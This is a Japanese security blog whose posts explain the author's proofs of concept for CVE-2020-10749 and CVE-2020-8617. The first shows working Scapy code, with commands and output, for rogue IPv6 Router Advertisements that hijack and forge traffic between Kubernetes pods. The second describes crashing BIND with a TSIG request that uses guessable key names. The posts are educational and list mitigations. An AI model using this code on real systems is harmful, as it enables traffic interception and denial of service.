knqyf263's blog

自分のためのメモとして残しておくためのブログ。

CVE-2020-10749(Kubernetesの脆弱性)のPoCについての解説

少し前ですが、Kubernetesの方から以下の脆弱性が公開されました。 github.com

タイトルにはCVE-2020-10749と書きましたが、複数のCNI実装が影響を受ける脆弱性でCVE-2020-10749はcontainernetworking/pluginsアサインされたものです。他にもCalicoはCVE-2020-13597、DockerはCVE-2020-13401、などとそれぞれCVE-IDがアサインされています。

このIssueの説明を読んで、はいはいあれね完全に理解した、と思って一旦閉じました。ですが、頭で分かった気になって手を動かさないのは一番やってはいけないことと念じ続けてきたのに、しれっと同じことをやりそうになっていた事に気づきました。なので数日経ってからちゃんとPoCを書いてみました。多少知識が増えてくるとついうっかりやってしまいがちなので気をつけなければなと自戒しました。

これは自分の業務ではなくて趣味であり、もちろん全ての脆弱性を検証していくのは不可能なのですが業務でクラウドネイティブ界隈にいるということと、ネットワーク関連の脆弱性ということで自分は検証しておかねばダメだなと思い直し今回検証しました。

ブログは面倒だから良いやと思っていたら会社から"圧"があったので英語で書く前に一旦頭を整理するために日本語で書いておきます。

概要

上のIssueにある通り、攻撃者が悪意あるIPv6 Router Advertisements(RA)をコンテナから送ることで、ホストや他のコンテナの通信を攻撃者配下のコンテナに送らせることが出来るというものです。それを元の宛先に転送してあげれば中間者攻撃(MitM)可能ということになります。ここまでで分かる通り、前提条件として攻撃者が対象のコンテナ内に侵入する必要があります。外部からログインしても良いし細工したコンテナイメージをpullさせても良いのですが、いずれにせよ攻撃条件を満たすのが難しいです。なので正直脆弱性の深刻度としてはかなり低い部類だと思います。

ですが、IPv6使ってないから大丈夫ということはありません。後ほど説明しますがIPv6を完全に無効化していない限りは攻撃者による不正RAによって強引にIPv6のアドレスを付与されます。そして同時にデフォルトゲートウェイも設定されてしまうので攻撃が成立します。でも外部と通信する時はIPv4だから関係ないのでは?と思う方もいらっしゃるかもしれませんが、DNSIPv6のレコード(AAAA)を返す場合はIPv6を優先して使うHTTPクライアントの実装が多いです。自分が2014年ぐらいに調査した時は多くのブラウザなどもそうなっていましたし、2020年時点でもcurlはそうなっています。上のIssueでもその点が強調されているためIPv6?関係ないな、と早計な判断をしないように気をつける必要があります。

ただ、そもそもDHCPやRAには認証や署名などのセキュリティ的な機能は備わっていないので元々不正RAなどに対して脆弱です。スイッチ側での対策などはありますが、プロトコルそのものは特に対策が入っていないと認識しています。ネットワーク詳しい人からツッコミが来るかもしれないのでJPNICのドキュメントも貼っておきます。

www.nic.ad.jp

最近の動向は知らないので既に何かしら対策があるのかもしれないのですが、少なくとも今回の脆弱性では不正RAによる攻撃をKubernetes内で行うといったものになっています。なので、正直これはCNIの脆弱性というべきなのだろうか?というのがあまり理解できていません。もちろんデフォルトでRAを受け取らないようにしておけば攻撃を受けなかったんだから脆弱なデフォルト設定だ、という見方もあると思うのですがLinuxもデフォルトでaccept_ra=1なディストリビューションが多そう(手元で試したUbuntu等は全部有効だった)なので、特別にCNIだけが脆弱と認定された理由は良く分かっていません。

それはさておき脆弱性の説明に入りますが、その前にRAとは何かについて説明しておきます。

Router Advertisements(RA、ルータ広告)とは

これも迂闊なことを言って誤った説明をするのが怖いのでJPNICの説明を引用しておきます。

RA (Router Advertisement; ルータ広告)とは、 IPv6アドレスの自動設定を行う機能(Stateless Address Autoconfiguration, SLAAC)(*1)の一部分で、 RFC4862で標準化されています。

(中略)

IPv6のアドレスを設定したいノードは、 接続しているセグメントにルータが存在するかどうか、 もしあるのであればプリフィクス情報を送るようRS (Router Solicitation; ルータ要請)メッセージを、 すべてのルータ(全ルータマルチキャスト(ff02::2))に対して送信します。 そのメッセージを受け取ったルータは、 RAメッセージをすべてのノード(全ノードマルチキャスト(ff02::1))に対して送ります。 ノードは応答された内容からプリフィクスを取得し、 さらにMACアドレスを元にして数値を生成するEUI-64(*2)やその他のアルゴリズムからインタフェースIDを生成することで、 アドレスを設定することができます。

www.nic.ad.jp

図にすると以下のようになります。実際にはネットワークに繋いだらリンクローカルアドレスが振られて、とかもあるのですが一旦置いておきます。重要なのはノードがRSを送るとルータがRAを返しそのRA内にはプレフィックスが含まれているという点と、そのプレフィックスを使ってIPv6のアドレスを自動で作るという点です。EUI-64はMACアドレスを使うので以下の図のように1234みたいに綺麗にはならないのですが、例のため簡略化しています。

f:id:knqyf263:20200618220052p:plain

そしてもう一つ重要な点として、ノードがRSを送らなくてもルータはRAを送ることが可能という点です。これは別に攻撃に関係なく、定期的にルータからRAを送信するという設定が可能です。そのためノードとしても自分がRSを送っていなければRAを受け取らないということはなく、RAを受け取れば普通に設定します。

また、ノードはRAを受け取ったルータをデフォルトゲートウェイとして設定します。静的に設定した場合とかDHCPv6とかが共存してる場合とか細かく話し出すとキリがないので、ルータとノードだけがあるシンプルな構成と考えてください。

ということで上述したように、攻撃者が不正RAを送出するとノードはそのノードをルータと見なしてしまいそちらにパケットを送信します。

f:id:knqyf263:20200618220326p:plain

不正RAを使った攻撃

正直もう概要としてはあまり説明するところはありません。上の不正RAをコンテナ内で行うだけです。コンテナ内から適当なプレフィックスを指定してRAをブロードキャストすると、RAを受け取ったインタフェースでIPv6がEUI-64などにより設定され、RAを送ってきたコンテナのIPv6アドレスをデフォルトゲートウェイとして設定します。

じゃあもう理解できたな、と思いがちですが実は攻撃しようとするとそんなに現実が甘くないことが分かります。これは実際にやってみないと気づきにくいと思うのでやはり検証が大事だな、と思うわけですがデフォルトではコンテナ内で勝手にIPアドレスを変更したり付与できません。もちろん権限を付与していれば別です。そのため、上のように攻撃者のコンテナにfe80::2を付与しようとしても付与することが出来ません。つまりfe80::2に通信を向けさせようとしてもすんなりとはいかないということです。

ではどうするかと言うと、実はそこまで難しくありません。まず、最初のハードルとしてIPv6アドレスとMACアドレスマッピング問題があります。IPv6ではNeighbor Discovery(ND)が使われるわけですが、コンテナにはIPv6のアドレス(fe80::2)が付与されていないためNDに応答してくれません。ただこれはLinuxの機能として応答してくれなくて不便というだけなので、自分でプログラムを書いたりして勝手に応答すれば問題ありません。さらに、今回の例では実はそれすら必要ありません。RAを送る際にICMPv6 OptionとしてSource link-layer addressとしてMACアドレスを指定しておけば、ソースIPv6アドレスと紐付けてNDキャッシュに保存しておいてくれます(多分)。嘘言ってたらすみません。もしかしたら単にパケットの来たソースアドレスとMACアドレスのペアを保存してるだけなのかもしれませんが、少なくとも自分の環境ではICMPv6 Optionに入れておかないとNDキャッシュに入れてくれませんでした。

f:id:knqyf263:20200618175648p:plain

その後、fe80::2に送ろうとした場合は既にNDキャッシュにfe80::2のMACアドレスが保存されているため勝手に攻撃者コンテナに送信してくれます。

そして次のハードルですが、fe80::2宛のパケットなのに攻撃者コンテナにはそのアドレスが付いていないためパケットを落としてしまう問題です。これも適当にプロキシを立てても行けるかとは思いますが、先程同様にインタフェースをsniffしつつ自分でパケットを応答してあげれば良いです。後ほどスクリプトも説明しますが、自分はScapyを使ってTCPの3-way handshakeなどを行いました。

実例

言葉で説明されてもよくわからないかと思うので実際に攻撃してみます。ネットワーク構成としては以下のようなものを想定しています。上述したように攻撃者のコンテナにはIPv6はつけることが出来ない設定です。また、1 Pod 1 コンテナ想定です。

f:id:knqyf263:20200618221302p:plain

見て分かる通り、IPv4アドレスしか利用していません。こういう環境上でもattackerのPodからvictimにRAを投げてやることでIPv6を強引に付与しつつデフォルトゲートウェイを自分に向けるという攻撃です。

f:id:knqyf263:20200618221441p:plain

今回は他のコンテナに対して攻撃を行っていますが、ノードに対しても攻撃可能であることを検証済みです。ノード上から通信している場合はそれを攻撃者のPodに持ってくることが出来ます。

Kubernetes環境の準備

今回はせっかくなのでMicroK8sを使いました。自分はmacOS上で試したのですが、Windowsやminikube使ってもクラスタが用意できれば何でも良いと思います。

MicroK8sのインストール方法は以下です。

ubuntu.com

まずクラスタを立ち上げます。

$ brew install ubuntu/microk8s/microk8s
$ microk8s install
MicroK8s is up and running. See the available commands with `microk8s --help`.
$ microk8s status --wait-ready
microk8s is running
addons:
dashboard: disabled
dns: disabled
metrics-server: disabled
registry: disabled
storage: disabled
cilium: disabled
fluentd: disabled
gpu: disabled
helm: disabled
helm3: disabled
host-access: disabled
ingress: disabled
istio: disabled
jaeger: disabled
knative: disabled
kubeflow: disabled
linkerd: disabled
metallb: disabled
prometheus: disabled
rbac: disabled
$ microk8s kubectl get nodes
NAME          STATUS   ROLES    AGE   VERSION
microk8s-vm   Ready    <none>   10d   v1.18.3-34+0c5dcc01175871

いくつかアドオンをenableしておきます。dashboardとかは今回不要ですが便利なので一応有効にしてます。

$ microk8s enable dns storage dashboard registry

毎回microk8sコマンド打つのも面倒なので、kubeconfigを保存してKUBECONFIGに指定してしまいます。これはもっと良い方法ありそうですが、MicroK8sの使い方記事じゃないので一旦これで行きます。

$ microk8s config > kubeconfig 
$ export KUBECONFIG=$PWD/kubeconfig
$ kubectl get nodes
NAME          STATUS   ROLES    AGE   VERSION
microk8s-vm   Ready    <none>   10d   v1.18.3-34+0c5dcc01175871

Victim Pod

victim側は多分大体のイメージで動くと思いますが、今回はalpine:3.12を使っています。

以下のリポジトリに今回の検証で使ったファイル一式が入ってます。

CVE-2020-10749/victim.yml at master · knqyf263/CVE-2020-10749 · GitHub

apiVersion: apps/v1
kind: Deployment
...
spec:
    spec:
      containers:
      - image: alpine:3.12
        name: victim
        command: ["sleep", "100000"]

victim側のDeploymentの設定はこれだけなので自分で用意してもらっても大丈夫です。

とはいえ後々スクリプトなどが必要になるのでcloneしておきます。

$ git clone https://github.com/knqyf263/CVE-2020-10749.git
$ cd CVE-2020-10749

ではapplyします。

$ kubectl apply -f victim/victim.yml
$ kubectl get pods
NAME                      READY   STATUS    RESTARTS   AGE
victim-5484d9f977-drttl   1/1     Running   0          3s

このPodに入ります。そして、IPv6が有効かを確認します。いくつか読み取れない値がありますが無視で良いです。

$ kubectl exec -it victim-5484d9f977-drttl -- sh
/ # sysctl -a | grep disable_ipv6
net.ipv6.conf.all.disable_ipv6 = 0
net.ipv6.conf.default.disable_ipv6 = 0
net.ipv6.conf.eth0.disable_ipv6 = 0
net.ipv6.conf.lo.disable_ipv6 = 0

disable_ipv6=0なので、つまり有効ということです。そしてRAを受け取る設定になっているかも確認します。

/ # sysctl -a | grep "accept_ra ="
net.ipv6.conf.all.accept_ra = 1
net.ipv6.conf.default.accept_ra = 1
net.ipv6.conf.eth0.accept_ra = 1
net.ipv6.conf.lo.accept_ra = 1

accept_ra=1なので受け取る設定になっています。次にインタフェースに付いているIPv6アドレスを見てみます。

/ # ip -6 a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 state UNKNOWN qlen 1000
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: eth0@if13: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 state UP
    inet6 fe80::d096:88ff:fe81:5143/64 scope link
       valid_lft forever preferred_lft forever

リンクローカルアドレスだけは付いている状態です。これで攻撃可能な状態であることが分かります。

念の為IPv6のルーティングテーブルも見ておきます。

/ # ip -6 route
fe80::/64 dev eth0  metric 256
ff00::/8 dev eth0  metric 256

fe80等のアドレス宛ならeth0からパケットを送出するがそれ以外の宛先へのルートは持っていないことが分かります。

victimの確認は以上です。ただ設定を確認しただけでプレーンなalpine:3.12のままです。後にcurlを使うので先にインストールだけしておきます。

/ # apk add curl

後ほどexample.com宛の通信を改ざんするので、現時点では正常に通信できることを確かめておくと良いです。

/ # curl http://example.com

attacker

不正RA

まず不正RAを送るためのプログラムを書く必要があります。Scapyであれば以下のように簡単にRAパケットを作ることが出来ます。

ra  = Ether(src=mac_addr)/IPv6(src=src_addr)/ICMPv6ND_RA()
ra /= ICMPv6NDOptPrefixInfo(prefix=prefix, prefixlen=64)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=mac_addr)

ここでIPv6のsrcとして指定するアドレスは実際には存在しないIPv6アドレスです。今回は適当に fe80::42:fcff:dead:beef としています。dead:beaf以外のところは特に意味ないです。スクリプト全体は以下にあります。

CVE-2020-10749/fake_ra.py at master · knqyf263/CVE-2020-10749 · GitHub

そして上で述べたとおり、偽のソースIPv6アドレスとMACアドレスの紐付けを行うためにICMPv6NDOptSrcLLAddrに攻撃者コンテナのMACアドレスを指定しています。

攻撃者用イメージのbuild/push

何度も検証する場合、毎回このPythonファイルをコンテナ内にコピーするのは面倒なのでこのファイルを含んだイメージを作成しておきます。この時点で既に後に使うダミーサーバ用のプログラムも含んでいます。

これをMicroK8sのビルトインレジストリにpushしたいので、ホスト名を付けてビルドします。

microk8s.io

上のドキュメントではlocalhostになってますが、MicroK8s on macOSでは仮想マシン上でクラスタが起動されているので、IPアドレスを指定する必要があります(これまた多分)。

$ kubectl get nodes -o wide
NAME          STATUS   ROLES    AGE   VERSION                     INTERNAL-IP    EXTERNAL-IP   OS-IMAGE             KERNEL-VERSION       CONTAINER-RUNTIME
microk8s-vm   Ready    <none>   10d   v1.18.3-34+0c5dcc01175871   192.168.64.3   <none>        Ubuntu 18.04.4 LTS   4.15.0-101-generic   containerd://1.2.5

192.168.64.3ということが分かったのでビルドします。Dockerfileは以下にありますが、alpine:3.12をベースにしてプログラムを中にCOPYしてるだけです。

CVE-2020-10749/Dockerfile at master · knqyf263/CVE-2020-10749 · GitHub

$ docker build -t 192.168.64.3:32000/attacker ./attacker

あとはpushなのですが上のドキュメントにも書いている通り、デフォルトではビルトインレジストリがHTTPなのでDocker側の設定で許可してあげる必要があります。以下のような感じです。

f:id:knqyf263:20200618210231p:plain

設定変更したらDocker Engineの再起動が必要です。ではpushします。

$ docker push 192.168.64.3:32000/attacker

これで準備完了です。

不正RAメッセージの送信

準備が終わったのでデプロイします。デプロイ用のYAMLも特に変わったところはないです。特に強い権限を与えるわけでもなくデフォルトという感じです。

$ cat attacker/attacker.yml
apiVersion: apps/v1
kind: Deployment
spec:
...
    spec:
      containers:
      - image: localhost:32000/attacker
        name: attacker
$ kubectl apply -f attacker/attacker.yml
deployment.apps/attacker created

ログインしてMACアドレスを確認します。

$ kubectl get pods
NAME                       READY   STATUS    RESTARTS   AGE
attacker-8857dd5c9-j7wwd   1/1     Running   0          11s
victim-5484d9f977-drttl    1/1     Running   0          3h28m
$ kubectl exec -it attacker-8857dd5c9-j7wwd -- sh
/ # ip a show eth0
3: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 qdisc noqueue state UP
    link/ether 0e:57:fb:44:b3:f1 brd ff:ff:ff:ff:ff:ff
    inet 10.1.55.42/24 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::c57:fbff:fe44:b3f1/64 scope link
       valid_lft forever preferred_lft forever

このコンテナのMACアドレス0e:57:fb:44:b3:f1 ということが分かったのでスクリプトを更新します。このコンテナにもリンクローカルアドレスがついていることから分かる通り、IPv6はdisableされていないようです。

では上のプログラムを実行してみます。

/ # python fake_ra.py
Sending a fake router advertisement message...
.
Sent 1 packets.

これでvictimの方のインタフェースに指定したプレフィックス2001:db8:1::)を持ったIPv6アドレスが生成されているはずです。victimのPodに入って確認してみます。

$ kubectl exec -it victim-5484d9f977-drttl -- sh 
/ # ip -6 a show eth0
3: eth0@if13: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 state UP
    inet6 2001:db8:1:0:d096:88ff:fe81:5143/64 scope global dynamic
       valid_lft forever preferred_lft forever
    inet6 fe80::d096:88ff:fe81:5143/64 scope link
       valid_lft forever preferred_lft forever

無事に 2001:db8:1:0:d096:88ff:fe81:5143/64 というIPv6アドレスが付与されていることが分かりました。このコンテナのMACアドレスd2:96:88:81:51:43 なので、もし詳しくない方はEUI-64について学んでみても面白いと思います。ただEUI-64のようにMACアドレスから生成する方式だとIPv6アドレスから端末を特定されてしまいプライバシー的に問題があるということで、ランダムに生成するための様々なRFCが提案されていたりもします。

脱線しましたが話を戻します。IPv6アドレスだけでなくIPv6のルーティングテーブルも重要です。

/ # ip -6 route
2001:db8:1::/64 dev eth0  metric 256
fe80::/64 dev eth0  metric 256
default via fe80::42:fcff:dead:beef dev eth0  metric 1024  expires 0sec
ff00::/8 dev eth0  metric 256

上で見たときには存在しなかったdefaultが生成されています。さらに、デフォルトゲートウェイの宛先は上で指定したdead:beafのアドレスになっています。これによって、victimコンテナは攻撃者のコンテナに対してIPv6のパケットを投げてしまいます。

NDキャッシュも見てみます。

/ # ip -6 neigh
fe80::42:fcff:dead:beef dev eth0 lladdr 0e:57:fb:44:b3:f1 router used 0/0/0 probes 0 STALE

攻撃時にRAパケット内にICMPv6 Optionとしてlladdrを指定しておいたため、無事に fe80::42:fcff:dead:beef0e:57:fb:44:b3:f1 が紐付いています。fe80::42:fcff:dead:beef などというIPv6アドレスは実際には誰も持っていないわけですが、ちゃんと攻撃者のコンテナにパケットが来てくれます。説明だけ見てふむふむってなるだけだと、こういう細部まで考えが至らないかと思います。

不正サーバ

この時点で既にIPv6パケットは攻撃者のコンテナに来てくれます。そこからどうするかは自由なわけですが、せっかくなのでサーバのふりをして偽の応答を返してみます。HTTPSだと証明書を信頼させる必要があるので、今回はHTTPを対象にします。実際のシナリオでもHTTPSに対してMitMしたいとなると結構面倒かなと思います。コンテナが強い権限を持っていてホストのroot CA設定を変更可能だったりしたら攻撃が成立しそうですが、それ以外だとあまり思いついてないです。なのでMitMが成立しても全部HTTPSなので問題ないです、という可能性もあります。

ただパケットを自分に向けさせつつ全部dropすることでDoSは可能なので、情報窃取目的ではなくサービス妨害という意味では有効かもしれません。

今回はexample.comに対する通信をMitMして偽の応答を返すことにします。先程から説明している通り、コンテナにはIPv6アドレスを付与することが出来ません。そのため、TCPの3-way handshakeを自分で行い、HTTPのGETリクエストが来たらHTTPレスポンスを自分で返す必要があります。

Scapyを使えば難しくないので簡単に説明します。

from scapy.all import *

# recv: SYN
syn = sniff(count=1, filter="tcp and port 80")

# initializing some variables for later use.
sport = syn[0].sport
seq_num = syn[0].seq
ack_num = syn[0].seq + 1
src = syn[0][IPv6].src
dst = syn[0][IPv6].dst

# send: SYN/ACK
eth = Ether(src=syn[0].dst, dst=syn[0].src)
ipv6 = IPv6(src=dst, dst=src)
tcp_synack = TCP(sport=80, dport=sport, flags="SA", seq=seq_num, ack=ack_num, options=[('MSS', 1460)])
sendp(eth/ipv6/tcp_synack, iface="eth0")

TCPで80番ポート宛のパケットをsniffしてシーケンス番号等を取り出してSYN/ACKを返します。すると次にHTTPリクエストが飛んでくるので、あとはHTTPのレスポンスを返すだけです。

# recv: HTTP request
get_request = sniff(filter="tcp and port 80",count=1,prn=lambda x:x.sprintf("{IP:%IP.src%: %TCP.dport%}"))

# send: HTTP response
ack_num = ack_num + len(get_request[0].load)
seq_num = syn[0].seq + 1
html1 = "HTTP/1.1 200 OK\x0d\x0aDate: Wed, 29 Sep 2020 20:19:05 GMT\x0d\x0aServer: Malicious server\x0d\x0aConnection: Keep-Alive\x0d\x0aContent-Type: text/html; charset=UTF-8\x0d\x0aContent-Length: 17\x0d\x0a\x0d\x0amalicious!!!!!!!\n"
tcp = TCP(sport=80, dport=sport, flags="PA", seq=seq_num, ack=ack_num, options=[('MSS', 1460)])
ack_http = srp1(eth/ipv6/tcp/html1, iface="eth0")

この辺りはコピペしてきて改変しただけなので不要なヘッダとかパラメータあると思います。あとはFINを送ってあげてTCPセッションを終了すれば完了です。プログラム全体は以下にあります。

CVE-2020-10749/server.py at master · knqyf263/CVE-2020-10749 · GitHub

攻撃者Podに入ってこのプログラムを起動しましょう。ただ先程送ったNDのキャッシュが切れてるかもしれないので、もう一度fake_ra.pyを実行しておくと良いかもしれません。

kubectl exec -it attacker-8857dd5c9-j7wwd -- sh 
/ # python server.py
Listening...

Exploit

上のターミナルは開きつつ、別のターミナルを開いてvictim Podに入ります。全て準備は整っているので、あとはexample.comcurlするだけです。

$ kubectl exec -it victim-5484d9f977-drttl -- sh
/ # curl http://example.com
malicious!!!!!!!

ということでvictimからしたら単にexample.comにアクセスしただけなのにmaliciousという文字列が返ってきました。victimからすれば何もしていないのに突然通信が改ざんされているので気付きようがないですね。

動画

今行った一連の流れをGIFにしておいたので、興味あれば見てください。

CVE-2020-10749/CVE-2020-10749.gif at master · knqyf263/CVE-2020-10749 · GitHub

緩和策

もちろんCNIプラグインのバージョンを更新すれば影響を受けなくなるわけですが、それが難しい場合は以下の3つにより緩和可能です。

  • net.ipv6.conf.all.accept_ra=0 に設定する
  • TLSを使う
    • きちんとした証明書を使ってHTTPS通信しているとMitMは難しくなります
  • CAP_NET_RAWを無効にする
    • Pod Security Policy などに RequiredDropCapabilities を設定してNET_RAWの権限をなくしてしまえばコンテナから好きにパケットを送れなくなるので今回の攻撃の影響は受けません。

逆に言うと攻撃の成立条件は上の反対を全て満たしている場合、になります。accept_ra=1でかつTLSを使っておらずCAP_NET_RAWが有効ということです。

また、RAを無効にしたりNET_RAWを無効にしたりすると正常な通信に影響が出る可能性もあるので気をつける必要があります。

余談

そもそも最初に述べたように、何でこれが脆弱性として認定されたのかな、というのは少し気になっています。さらに言うと弊社が以前出したブログでDNS Spoofingを使って限りなく似たことを行っています。NET_RAWさえ付与されていれば成立する攻撃で、今回の脆弱性と同様にMitMですし攻撃条件の差異もあまり見当たりません。にも関わらずこちらは脆弱性としては認められませんでした。

blog.aquasec.com

ボスがKubernetesのセキュリティチームに聞いたところセキュリティチームも何でだろうね...と困惑していたらしいので対応した人によって判断基準が違ったりするのかもしれません。

まとめ

今回は攻撃条件も厳しく攻撃成立後も与えられるインパクトは小さいためそこまで急いで対応する必要のある脆弱性ではないと考えています。ですがきちんと自分で攻撃を成立させることで学ぶことは多いです。もし興味がある方は自分で一度やってみると理解が深まると思います。

そしてそもそもこれはRAの問題であってKubernetesの何が問題なのか、と言われると自分も正直答えられません。RAの問題とはいえ攻撃が成立するんだから脆弱性なのでは?と言われると今度は上のDNS Spoofingが脆弱性として認定されていない理由が分かりません。細かいことは気にせず強く生きていきたいと思います。

CVE-2020-8617のPoCについての解説

概要

BINDの脆弱性であるCVE-2020-8617が公開されました。そのPoCコードを自分で書いてみたので解説しておきます。

GitHub上で公開されているPoCは見つからなかったので世界初か?!と思っていたのですが @shutingrz さんから既にISCのGitLabで公開されていることを教えてもらいました。以下のやつだと思います。

gitlab.isc.org

ということで時間を無駄にした感じもありますが、上のコードを見ただけではなぜそれが攻撃につながるのか理解するのは難しいと思うので、自分で書いてみたのは勉強のためには良かったです。既に公開されているということなので自分のPoCも心置きなく置いておきます。PythonのScapy版なので教育用途で役には立つかなと思います。

github.com

少なくともBINDのバージョン9.12.4で試した限りではほぼデフォルト設定で攻撃が刺さりました。しかも特に難しい攻撃手順は不要でリモートから1パケット送るだけでBINDサーバが落ちます。もしかしたら自分の環境が特殊という可能性も僅かにあり、万人に刺さるかはまだ調査中なのですが現時点では広範囲の人に影響すると考えています。緊急対応するべき脆弱性だと思われます。もう少し詳しく分かれば更新します。

もしこれが間違いで過剰な脅しになっていたらあとで謝ろうと思いますが、自分が調査した限りでは危険度は深刻だと思います。

テスト環境

  • BIND: 9.12.4

試したバージョンはまだこれだけです。新たに試せたら追記しておこうと思いますが、以下の話は上のバージョンを前提に話しています。

また、権威サーバについての検証です。キャッシュサーバでどうなるかは未検証です。

CVE-2020-8617の概要

ISCからCVE-2020-8617の概要が公開されています。

kb.isc.org

影響するバージョン

  • 9.0.0 -> 9.11.18
  • 9.12.0 -> 9.12.4-P2
  • 9.14.0 -> 9.14.11
  • 9.16.0 -> 9.16.2
  • 9.17.0 -> 9.17.1 of the 9.17 experimental development branch.
  • All releases in the obsolete 9.13 and 9.15 development branches.
  • All releases of BIND Supported Preview Edition from 9.9.3-S1 -> 9.11.18-S1.

これを見るとかなり幅広く影響しそうです。自分はまだ9.12.4で試しただけなので他のバージョンでも同様に刺さるかは未確認です。

深刻度

High

説明

TSIG リソースレコードを含むメッセージの有効性をチェックする BIND コードのエラーが攻撃者によって悪用され、tsig.c のアサーション失敗を引き起こし、クライアントへのサービス拒否を引き起こす可能性があります。

ISCのページに書いてある英語をそのままDeepLに突っ込みましたが普通に理解できる文章で凄いですね。要するにTSIGリソースレコードを含むリクエストを送るとBINDサーバにDoSを引き起こせるということです。

影響

特別に作られたメッセージを使って、攻撃者がサーバで使われている TSIG 鍵の名前を知っている (あるいは推測に成功している) 場合、攻撃者は潜在的に BIND サーバを矛盾した状態にする可能性があります。

BIND はデフォルトでローカルセッションキーを設定しているので、設定がそれ以外の場合はそれを利用しないサーバでも、現在の BIND サーバのほとんどすべてが脆弱です。

2018年3月以降のBINDのリリースでは、tsig.cのアサーションチェックがこの矛盾した状態を検知して意図的に終了します。このチェックが導入される前は、サーバは矛盾した状態で動作し続け、潜在的に有害な結果をもたらしていました。

これもDeepLに突っ込んだだけなので原文が見たい方は上のISCのページに行ってください。TSIGを使う場合以下のようにkeyの設定が必要です。

key "keyname" {
       algorithm hmac-sha512;
       secret "keyvalue";
};

これはHMACに使うための共有鍵ですが、このkeynameが攻撃者にバレると攻撃可能ということが書いてあります。ここで重要なのはkeyの値ではなくkey名ということです。key名は人間がわかりやすい名前をつけるはずで、zoneから流用する運用も多いと思います。zoneがexample.com.ならkeynameもexample.com.とかaxfr.example.comとか。

また、後述していますが自分の現時点でのPoCはどのアルゴリズムかの推測も必要です。こちらは数種類しかなく総当りすれば良いだけなのでISC的にはスルーしているだけかもしれません。

そうは言ってもkey名はユーザが自分で設定するものなので簡単には推測できないだろう、と思いがちですが設定によってはBINDは起動時に自動でlocalにkeyを生成します。ISCのQ&Aには以下のように書いています。

この FAQ を書いている時点では、サーバに 1 つ以上の TSIG 鍵がロードされる方法は 2 つあります。

  1. 設定の中にkey {}; stanza がある場合 (つまり、named.conf またはそのインクルードファイルの一つで共有鍵を直接設定している場合)
  2. update-policy local; を使用しているときに動的更新に使用される、自動生成されたセッション キー。

こちらも原文が見たい方は以下から飛んでください。

kb.isc.org

これを見るとあまり関係なさそう、と思いがちですが1も2もかなり現実的に起こるシナリオだと思っています。

rndc-confgenを使った場合

BINDを管理するためにrndcを使っている人も多いかと思います。自分も過去運用していた時は便利なので使っていました。このrndcの設定をする際に自分で鍵を生成してnamed.confに書いても良いのですが若干面倒です。そこでrndc-confgenコマンドが利用されることがあります。このrndc-confgenですが何も考えずに実行すると rndc-key というkey名で生成されます。つまり簡単に予測可能です。

[root@7b07f5116c2b /]# /var/named/chroot/sbin/rndc-confgen -a
wrote key file "/var/named/chroot/etc/rndc.key"
[root@7b07f5116c2b /]# cat /var/named/chroot/etc/rndc.key
key "rndc-key" {
        algorithm hmac-sha256;
        secret "DVTsYWZpnNHeDIOxS2fGFgTreuP6cYVoYeZtT1CMr2Y=";
};

そして以下のようにnamed.confでincludeしていたらアウトです。

include "/etc/rndc.key";

これ自体は特に珍しい設定ではないので十分ありえると思っています。というか自分の作ったBINDイメージは全部こうなってます。この設定自体が脆弱なので良くない、とかでは全くありません。

これは上の1に該当します。もちろんrndc使っていなくても自分でkeyを生成して設定していても該当します。

local-ddns

問題はこちらな気がします。ISCによると update-policy local; を設定していると自動でセッションキーを生成すると言っています。この生成されるkey名はデフォルトでlocal-ddnsになっています。/var/run/named/session.key に生成されます。もちろんchrootしていればそれに応じたディレクトリになります。

github.com

そしてこれは update-policy local; の設定をしている場合、と言っているのですが自分の環境では特に設定していなくても生成されました。自分のnamed.confは以下を使っているのですが、少なくとも update-policy local; は書いていません。

github.com

もしかしたらいずれかの設定が自動で update-policy local; を設定するのかもしれないと疑っているのですが今のところ条件は分かっていません。詳しい方がいたら教えていただきたいです。

まだ正確に条件が把握できていないのが申し訳ないのですが、少なくとも update-policy local;grepして書いてないから大丈夫!という状況ではなさそうです。rndc tsig-list で自分の環境を確認したほうが良いと思います。ちなみにlocal-ddnsのsession.keyはnamedの起動中しか存在しませんでした。namedのプロセスを落とすと自動で消えました。

Ctrl-Zでプロセスを生かしたままにしたらsession.keyの中にlocal-ddnsが見えました。デフォルトではアルゴリズムはhmac-sha256になります。

[root@f9b5f280bb62 /]# /var/named/chroot/sbin/named -g -t /var/named/chroot -c /etc/named.conf
20-May-2020 09:25:31.333 starting BIND 9.12.4 <id:079c3eb>
20-May-2020 09:25:31.333 running on Linux x86_64 4.19.76-linuxkit #1 SMP Fri Apr 3 15:53:26 UTC 2020
20-May-2020 09:25:31.333 built with '--enable-syscalls' '--prefix=/var/named/chroot' '--enable-threads' '--with-openssl=yes' '--enable-openssl-version-check' '--enable-ipv6' '--disable-linux-caps'
^Z
[1]+  Stopped                 /var/named/chroot/sbin/named -g -t /var/named/chroot -c /etc/named.conf
[root@f9b5f280bb62 /]# cat /var/named/chroot/var/named/chroot/var/run/named/session.key
key "local-ddns" {
        algorithm hmac-sha256;
        secret "XRV4IEp28pWoPtdeWEisfR1bo8qEHlDibEJweLF0z/4=";
};

それはこちらで定義されています。

github.com

ちなみにプロセスを止めた時は以下です。

[root@f9b5f280bb62 /]# /var/named/chroot/sbin/named -g -t /var/named/chroot -c /etc/named.conf
20-May-2020 09:25:31.333 starting BIND 9.12.4 <id:079c3eb>
20-May-2020 09:25:31.333 running on Linux x86_64 4.19.76-linuxkit #1 SMP Fri Apr 3 15:53:26 UTC 2020
20-May-2020 09:25:31.333 built with '--enable-syscalls' '--prefix=/var/named/chroot' '--enable-threads' '--with-openssl=yes' '--enable-openssl-version-check' '--enable-ipv6' '--disable-linux-caps'
...
20-May-2020 09:26:29.589 exiting
[root@596a9635f827 /]# cat /var/named/chroot/var/named/chroot/var/run/named/session.key
cat: /var/named/chroot/var/named/chroot/var/run/named/session.key: No such file or directory

自分のバージョンは9.12.4なのでこのバージョンだけ特殊という可能性も0ではありませんが、もし多くのバージョンでlocal-ddnsが生成されるとしたら非常に危険な状態です。実際にlocal-ddnsをkey名として指定して攻撃を成功させることができています。
